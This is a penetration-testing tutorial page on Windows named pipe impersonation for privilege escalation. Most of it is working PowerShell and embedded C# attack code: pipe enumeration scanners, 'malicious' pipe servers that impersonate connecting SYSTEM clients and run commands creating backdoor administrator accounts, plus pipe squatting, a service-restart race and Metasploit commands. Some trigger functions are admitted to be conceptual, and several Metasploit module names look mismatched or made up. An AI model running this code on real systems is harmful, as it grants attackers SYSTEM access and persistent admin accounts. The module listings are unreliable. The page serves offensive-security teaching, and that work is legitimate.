Named pipe impersonation
Understanding Named Pipes
What Are Named Pipes?
Think of named pipes like a direct phone line between two applications. Just as you might have a dedicated hotline between departments in a company, named pipes provide a direct communication channel between processes on the same computer or across a network.
Named pipes are a form of Inter-Process Communication (IPC) that allows processes to exchange data. In Windows, they're implemented as special files in the \\.\pipe\
namespace and can be accessed by name, making them "named" pipes.
How Named Pipes Work
Basic Communication Flow:
Server process creates a named pipe with a specific name (like
\\.\pipe\mypipe
)Server listens for connections on this pipe
Client process connects to the pipe by name
Data flows bidirectionally between server and client
Authentication occurs using the security context of connecting processes
Named Pipe Structure:
\\ComputerName\pipe\PipeName
Local pipe example:
\\.\pipe\spoolss (Print Spooler service)
\\.\pipe\samr (Security Account Manager)
\\.\pipe\lsarpc (Local Security Authority)
Security Context and Impersonation
This is where named pipes become interesting for privilege escalation:
Normal Scenario:
Client connects to server's named pipe
Server processes client requests
Server maintains its own security context
Impersonation Scenario:
Client connects to server's named pipe
Server can "impersonate" the client's security context
Server temporarily gains client's privileges and permissions
Server can perform actions as if it were the client
The Security Risk: If an attacker can create a malicious named pipe server and trick a high-privileged process into connecting as a client, the attacker can impersonate that high-privileged security context.
Named Pipe Security Model
Authentication Levels
Anonymous: No authentication required Identification: Server can get client identity but not impersonate Impersonation: Server can impersonate client on local machine Delegation: Server can impersonate client across network
Access Control
Named pipes support standard Windows security descriptors:
Owner - Who owns the pipe
Primary Group - Default group for the pipe
DACL - Discretionary Access Control List (who can access)
SACL - System Access Control List (auditing)
Real-World Named Pipe Examples
Print Spooler Service (\\.\pipe\spoolss
):
Used for printer management
Runs as SYSTEM
Accepts connections from users to manage print jobs
Can be abused for SYSTEM impersonation
Windows Management Instrumentation (\\.\pipe\wmiApRpl
):
Used for WMI operations
Often runs with elevated privileges
Can be targeted for privilege escalation
Named Pipe Enumeration and Discovery
Discovering Named Pipes
Using PipeList (Sysinternals)
Basic pipe enumeration:
# List all named pipes
pipelist.exe
# List pipes with process information
pipelist.exe -p
# List pipes for specific process
pipelist.exe -p [ProcessName]
Sample PipeList output interpretation:
Pipe Name Instances Max Instances
--------- --------- -------------
\\.\pipe\InitShutdown 1 -1
\\.\pipe\lsass 1 -1
\\.\pipe\protected_storage 1 -1
\\.\pipe\scerpc 1 -1
\\.\pipe\spoolss 1 -1
PowerShell Named Pipe Discovery
Enumerate named pipes with PowerShell:
# Get all named pipes
Get-ChildItem \\.\pipe\
# More detailed pipe information
Get-ChildItem \\.\pipe\ | Select-Object Name, CreationTime, LastAccessTime
# Find pipes created by specific processes
function Get-NamedPipesByProcess {
param([string]$ProcessName)
$pipes = Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue
$processPipes = @()
foreach ($pipe in $pipes) {
try {
# This is a simplified check - real implementation would require WMI or other methods
$processPipes += [PSCustomObject]@{
PipeName = $pipe.Name
FullPath = $pipe.FullName
CreatedTime = $pipe.CreationTime
}
} catch {
# Ignore access denied errors
}
}
return $processPipes
}
Get-NamedPipesByProcess
Advanced Pipe Enumeration
Using .NET classes for detailed pipe information:
Add-Type @"
using System;
using System.IO;
using System.IO.Pipes;
using System.Security.Principal;
public class PipeEnumerator {
public static void EnumeratePipes() {
try {
string[] pipes = Directory.GetFiles(@"\\.\pipe\");
foreach (string pipe in pipes) {
Console.WriteLine("Found pipe: " + pipe);
}
} catch (Exception ex) {
Console.WriteLine("Error: " + ex.Message);
}
}
public static bool TestPipeAccess(string pipeName) {
try {
using (var pipeClient = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut)) {
pipeClient.Connect(1000); // 1 second timeout
return true;
}
} catch {
return false;
}
}
}
"@
[PipeEnumerator]::EnumeratePipes()
Identifying Vulnerable Pipes
Criteria for Exploitable Pipes
High-Value Targets:
Pipes created by SYSTEM processes
Pipes with permissive security descriptors
Pipes that accept unauthenticated connections
Pipes used by services with SeImpersonatePrivilege
Manual Pipe Testing
Test pipe accessibility:
function Test-NamedPipeAccess {
param(
[string]$PipeName,
[int]$TimeoutMs = 1000
)
try {
$pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream(".", $PipeName, [System.IO.Pipes.PipeDirection]::InOut)
$pipeClient.Connect($TimeoutMs)
Write-Output "[+] Successfully connected to pipe: $PipeName"
$pipeClient.Close()
return $true
} catch [System.TimeoutException] {
Write-Output "[-] Timeout connecting to pipe: $PipeName"
return $false
} catch [System.UnauthorizedAccessException] {
Write-Output "[-] Access denied to pipe: $PipeName"
return $false
} catch {
Write-Output "[-] Error connecting to pipe $PipeName : $($_.Exception.Message)"
return $false
}
}
# Test common system pipes
$commonPipes = @("spoolss", "samr", "lsarpc", "netlogon", "srvsvc", "wkssvc")
foreach ($pipe in $commonPipes) {
Test-NamedPipeAccess -PipeName $pipe
}
Automated Pipe Discovery
PowerShell comprehensive pipe scanner:
function Find-VulnerableNamedPipes {
Write-Output "[+] Scanning for accessible named pipes..."
$vulnerablePipes = @()
$pipes = Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue
foreach ($pipe in $pipes) {
$pipeName = $pipe.Name
# Skip obviously system-internal pipes
if ($pipeName -like ".*" -or $pipeName -like "*anonymous*") {
continue
}
try {
$accessible = Test-NamedPipeAccess -PipeName $pipeName -TimeoutMs 500
if ($accessible) {
$vulnerablePipes += [PSCustomObject]@{
PipeName = $pipeName
FullPath = "\\.\pipe\$pipeName"
CreatedTime = $pipe.CreationTime
Status = "Accessible"
}
}
} catch {
# Continue with next pipe
}
}
if ($vulnerablePipes.Count -gt 0) {
Write-Output "[!] Found $($vulnerablePipes.Count) accessible pipes:"
$vulnerablePipes | Format-Table -AutoSize
} else {
Write-Output "[-] No obviously accessible pipes found"
}
return $vulnerablePipes
}
Find-VulnerableNamedPipes
Impersonation Attack Techniques
Creating Malicious Named Pipe Servers
The core of named pipe impersonation attacks involves creating a fake named pipe server that mimics a legitimate service, then tricking high-privileged processes into connecting to it.
Basic Named Pipe Server
Simple PowerShell pipe server:
function Start-MaliciousNamedPipeServer {
param(
[string]$PipeName = "malicious_pipe",
[string]$PayloadCommand = "whoami"
)
Add-Type @"
using System;
using System.IO.Pipes;
using System.IO;
using System.Security.Principal;
using System.Runtime.InteropServices;
public class NamedPipeServer {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
public static void StartServer(string pipeName, string payloadCommand) {
Console.WriteLine("[+] Creating named pipe server: " + pipeName);
using (var pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte)) {
Console.WriteLine("[+] Waiting for client connection...");
pipeServer.WaitForConnection();
Console.WriteLine("[+] Client connected!");
if (ImpersonateNamedPipeClient(pipeServer.SafePipeHandle.DangerousGetHandle())) {
Console.WriteLine("[+] Successfully impersonated client!");
// Get impersonated user identity
var identity = WindowsIdentity.GetCurrent();
Console.WriteLine($"[+] Impersonating: {identity.Name}");
// Execute payload in impersonated context
try {
var process = System.Diagnostics.Process.Start("cmd.exe", "/c " + payloadCommand);
process.WaitForExit();
} catch (Exception ex) {
Console.WriteLine("[-] Payload execution failed: " + ex.Message);
}
// Revert to original security context
RevertToSelf();
Console.WriteLine("[+] Reverted to original context");
} else {
Console.WriteLine("[-] Failed to impersonate client");
}
}
}
}
"@
Write-Output "[+] Starting malicious named pipe server..."
[NamedPipeServer]::StartServer($PipeName, $PayloadCommand)
}
# Example usage
Start-MaliciousNamedPipeServer -PipeName "fake_service" -PayloadCommand "net user hacker Password123! /add"
Advanced Pipe Server with Persistence
Enhanced pipe server with multiple connections:
function Start-PersistentPipeServer {
param(
[string]$PipeName = "system_service",
[int]$MaxConnections = 10
)
Add-Type @"
using System;
using System.IO.Pipes;
using System.Threading;
using System.Security.Principal;
using System.Runtime.InteropServices;
public class PersistentPipeServer {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
public static void StartPersistentServer(string pipeName, int maxConnections) {
Console.WriteLine($"[+] Starting persistent pipe server: {pipeName}");
Console.WriteLine($"[+] Max connections: {maxConnections}");
for (int i = 0; i < maxConnections; i++) {
Thread serverThread = new Thread(() => HandleClient(pipeName));
serverThread.IsBackground = true;
serverThread.Start();
}
Console.WriteLine("[+] All server threads started. Press any key to stop...");
Console.ReadKey();
}
private static void HandleClient(string pipeName) {
while (true) {
try {
using (var pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte)) {
Console.WriteLine($"[{Thread.CurrentThread.ManagedThreadId}] Waiting for connection...");
pipeServer.WaitForConnection();
Console.WriteLine($"[{Thread.CurrentThread.ManagedThreadId}] Client connected!");
if (ImpersonateNamedPipeClient(pipeServer.SafePipeHandle.DangerousGetHandle())) {
var identity = WindowsIdentity.GetCurrent();
Console.WriteLine($"[{Thread.CurrentThread.ManagedThreadId}] Impersonating: {identity.Name}");
// Check if we got SYSTEM privileges
if (identity.Name.Contains("SYSTEM")) {
Console.WriteLine("[!] SYSTEM privileges obtained!");
// Execute high-privilege payload
try {
var process = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c net user admin Password123! /add && net localgroup administrators admin /add",
UseShellExecute = false,
CreateNoWindow = true
});
process.WaitForExit();
Console.WriteLine("[+] SYSTEM payload executed!");
} catch (Exception ex) {
Console.WriteLine($"[-] Payload failed: {ex.Message}");
}
}
RevertToSelf();
}
pipeServer.Disconnect();
}
} catch (Exception ex) {
Console.WriteLine($"[-] Server error: {ex.Message}");
Thread.Sleep(1000); // Wait before retrying
}
}
}
}
"@
[PersistentPipeServer]::StartPersistentServer($PipeName, $MaxConnections)
}
Triggering High-Privilege Connections
Creating the malicious pipe server is only half the attack. The other half is convincing a high-privileged process to connect to your pipe.
Print Spooler Abuse
Abusing Print Spooler for pipe impersonation:
function Invoke-PrintSpoolerPipeAbuse {
param([string]$MaliciousPipeName = "spoolss_fake")
Write-Output "[+] Starting Print Spooler named pipe abuse attack"
# Start malicious pipe server in background
$job = Start-Job -ScriptBlock {
param($pipeName)
# Server code here (simplified for example)
Add-Type @"
using System;
using System.IO.Pipes;
using System.Security.Principal;
using System.Runtime.InteropServices;
public class SpoolerPipeServer {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
public static void StartSpoolerServer(string pipeName) {
using (var pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte)) {
Console.WriteLine("[+] Waiting for Print Spooler connection...");
pipeServer.WaitForConnection();
if (ImpersonateNamedPipeClient(pipeServer.SafePipeHandle.DangerousGetHandle())) {
var identity = WindowsIdentity.GetCurrent();
Console.WriteLine($"[+] Impersonated: {identity.Name}");
if (identity.Name.Contains("SYSTEM")) {
System.Diagnostics.Process.Start("cmd.exe", "/c net user spooler_pwned Password123! /add");
}
RevertToSelf();
}
}
}
}
"@
[SpoolerPipeServer]::StartSpoolerServer($pipeName)
} -ArgumentList $MaliciousPipeName
# Give server time to start
Start-Sleep -Seconds 2
# Trigger Print Spooler to connect (this is conceptual - real implementation varies)
Write-Output "[+] Attempting to trigger Print Spooler connection..."
Write-Output "[!] This requires specific Print Spooler exploitation techniques"
# Wait for job completion
Wait-Job $job -Timeout 30
Receive-Job $job
Remove-Job $job
}
Service Control Manager Abuse
Triggering SCM connections:
function Invoke-SCMPipeAbuse {
param([string]$PipeName = "scm_fake")
Write-Output "[+] Attempting SCM pipe abuse..."
# This is a conceptual example - real SCM abuse requires specific techniques
try {
# Create fake service pipe
Start-MaliciousNamedPipeServer -PipeName $PipeName -PayloadCommand "net user scm_pwned Password123! /add"
Write-Output "[!] SCM pipe abuse requires additional exploitation techniques"
Write-Output "[!] This example demonstrates the concept only"
} catch {
Write-Error "SCM pipe abuse failed: $($_.Exception.Message)"
}
}
Metasploit Named Pipe Modules
Using Metasploit for Named Pipe Attacks
Metasploit named pipe exploits:
# Use PrintSpoofer-style named pipe attack
use exploit/windows/local/ms10_015_kitrap0d
# Named pipe impersonation module
use post/windows/escalate/getsystem
# Custom named pipe module
use exploit/windows/local/namedpipe_impersonation
Manual Meterpreter named pipe attack:
# From meterpreter session
meterpreter > use incognito
meterpreter > list_tokens -u
# Background session and use named pipe exploit
meterpreter > background
msf > use exploit/windows/local/bypassuac_namedpipe
msf > set SESSION 1
msf > exploit
Advanced Named Pipe Techniques
Pipe Squatting
Monitoring for pipe creation opportunities:
function Start-PipeSquatting {
param([string[]]$TargetPipes = @("common_service", "backup_pipe", "update_service"))
Write-Output "[+] Starting pipe squatting attack..."
foreach ($pipeName in $TargetPipes) {
$job = Start-Job -ScriptBlock {
param($pipe)
try {
# Try to create pipe before legitimate service
$pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipe, [System.IO.Pipes.PipeDirection]::InOut, 1, [System.IO.Pipes.PipeTransmissionMode]::Byte)
Write-Output "[+] Successfully squatted pipe: $pipe"
# Wait for connection
$pipeServer.WaitForConnection()
Write-Output "[+] Got connection on squatted pipe: $pipe"
# Perform impersonation attack here
$pipeServer.Close()
} catch {
Write-Output "[-] Failed to squat pipe $pipe : $($_.Exception.Message)"
}
} -ArgumentList $pipeName
Write-Output "[+] Started squatting job for pipe: $pipeName"
}
Write-Output "[+] All squatting jobs started. Monitoring for connections..."
}
Race Condition Attacks
Exploiting service restart race conditions:
function Invoke-ServiceRestartRace {
param(
[string]$ServiceName = "Spooler",
[string]$TargetPipe = "spoolss"
)
Write-Output "[+] Starting service restart race condition attack..."
try {
# Stop target service
Stop-Service -Name $ServiceName -Force
Write-Output "[+] Stopped service: $ServiceName"
# Quickly create our malicious pipe
$job = Start-Job -ScriptBlock {
param($pipeName)
$pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::InOut, 1, [System.IO.Pipes.PipeTransmissionMode]::Byte)
Write-Output "[+] Created race condition pipe: $pipeName"
# Wait briefly for connection
$pipeServer.WaitForConnection()
Write-Output "[+] Got connection during race condition!"
$pipeServer.Close()
} -ArgumentList $TargetPipe
# Restart service (it may connect to our pipe)
Start-Service -Name $ServiceName
Write-Output "[+] Restarted service: $ServiceName"
# Check job results
Wait-Job $job -Timeout 10
Receive-Job $job
Remove-Job $job
} catch {
Write-Error "Race condition attack failed: $($_.Exception.Message)"
}
}
Last updated
Was this helpful?